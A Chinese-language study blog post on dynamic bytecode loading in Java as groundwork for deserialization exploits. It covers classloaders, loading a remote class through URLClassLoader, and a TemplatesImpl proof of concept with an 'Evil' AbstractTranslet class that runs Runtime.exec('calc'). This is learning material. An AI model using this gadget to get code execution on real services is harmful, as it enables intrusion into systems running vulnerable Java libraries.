Java动态加载字节码的方法

Java动态加载字节码的方法

0x01 前言

继续学习Java反序列化!!!

0x02 Java字节码

Java字节码(ByteCode)指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。但是我们所说的”字节码”可以理解的更广义一些—-所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的讨论范围之内。比如开发者可以用类似 Scala Kotlin 这样的语言来编写代码,只要最后可以编译成 .class 文件,都可以在JVM虚拟机中运行。这得益于Java的开发思路,一次编译,终身使用,Java的classloader是用来加载字节码文件最基本的操作,他就是一个加载器,用来告诉java虚拟机如何加载这个类。classloader方法是根据类名来加载类的,这个类名是完整路径,如java.lang.Runtime

0x03 利用URLClassLoader加载远程class文件

URLClassLoader类是是我们平时用的AppClassLoader的父类

其继承关系如下图

1
URLClassLoader->SecureClassLoader->ClassLoader

常见的类加载器一共有三个

Bootstrap loader(引导类加载器)

Bootstrp加载器是用C++语言写的,它是在Java虚拟机启动后初始化的,它主要负责加载%JAVA_HOME%/jre/lib,-Xbootclasspath参数指定的路径以及%JAVA_HOME%/jre/classes中的类。

ExtClassLoader (扩展类加载器)

Bootstrp loader加载ExtClassLoader,并且将ExtClassLoader的父加载器设置为Bootstrp loader.ExtClassLoader是用Java写的,具体来说就是 sun.misc.Launcher$ExtClassLoaderExtClassLoader主要加载%JAVA_HOME%/jre/lib/ext,此路径下的所有classes目录以及java.ext.dirs系统变量指定的路径中类库。

AppClassLoader (系统类加载器)

负责在 JVM 启动时,加载来自在命令 java 中的 classpath 或者 java.class.path 系统属性或者 CLASSPATH 操作系统属性所指定的 JAR 类包和类路径

我们来康康URLClassLoader的工作流程

正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件加载,这个基础路径分为三种情况:

  • URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠/结尾,且协议名是file,则使用FildLoader来寻找类,即为在本地系统中寻找.class文件
  • URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类

使用Loader寻找类,最常见的就是http协议

我们可以来测试一下(测试的时候java版本不宜过高,过高会导致测试失败)

先编写一个恶意类

1
2
3
4
5
6
import java.io.IOException;
public class Eivl {
public Eivl() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

然后在恶意类所在目录起一个简陋的http服务

然后在另外一个目录编写

1
2
3
4
5
6
7
8
public class ClassLoader {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
URL[] urls = {new URL("Http://localhost:8080/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Evil");
c.newInstance();
}
}

可以看到我们这里的URL是以斜杠结尾的且协议是http协议,那么就使用最基础的Loader来寻找类,这里因为我Java版本的原因,所以没有弹出计算器,就直接贴上了网上的师傅的图,滑稽.jpg

0x04 利用ClassLoader#defineClass 直接加载字节码文件

java加载class文件都可以用下面的流程来概况

1
ClassLoader#loadClass-->ClassLoader#findClass->ClassLoader#defineClass
  • loadClass的作用是从已加载的类缓存,父加载器等位置寻找(双亲委派机制),在前面没有找到的情况下,执行findClass
  • findClass的作用是根据URL指定的方式来加载类的字节码,可能会在本地系统,jar包或远程http服务器上读取字节码,然后将其交给defineClass
  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类

0x05 利用TemplatesImp加载字节码

那么根据上面的思路,只要我们可以控制字节码,我们就可以用来执行命令,并且getshell。

由于一般类的defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它。但是TemplatesImp的defineClass方法是可以在类外部访问的

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader

这个类重写了defineClass方法,并且这里没有显式地声明其定义域,所以默认为default, 可以被类外部调用

利用链如图

1
2
3
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> 
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

最前面的两个方法TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()他们的作用域是public,可以利用来写一个简单的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("base64字符串");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","114514");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
obj.newTransformer();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);;
}

_bytecodes是由字节码组成的数组,不能为空且得是由恶意类构造而成的,_name可以任意赋值 不为空就行;defineTransletClasses()的run方法调用了_tfactory.getExternalExtensionsMap(),_tfactory所以需要是一个 TransformerFactoryImpl 对象,如果为空就会报错,无法往下执行;由于 TemplatesImpl 中对加载的字节码是有一定要求的,这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类,所以我们构造的恶意类就需要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 。那么恶意类如下

1
2
3
4
5
6
7
8
9
10
11
public class Evil extends AbstractTranslet {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

将其编译成class文件,并将其base64编码输出,生成base64 放入上面的byte[] code,运行就可以执行恶意类里面的任意命令了

TemplatesImpl 在反序列化中是非常常用的,接下来要做的几条 CC 链,ROME 链,以及 fastjson 、jackson 的漏洞里,都有它的参与

0x06 总结

今天睡了午觉起来一直感觉昏昏沉沉的,看类加载器的时候老是看不懂,到晚上脑子清醒了不少,看这些比较抽象的东西比较能看懂,果然对我来说下午不适合学习……以后得调一下自己的学习时间了

参考链接

https://www.xuxblog.top/archives/java-dong-tai-jia-zai-zi-jie-ma-de-fang-fa

http://47.104.14.160/2022/03/21/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F/#%E5%88%A9%E7%94%A8-TemplatesImpl-%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81


Java动态加载字节码的方法
https://zoceanyq.github.io/2022/11/09/Java动态加载字节码的方法/
作者
ocean
发布于
2022年11月9日
许可协议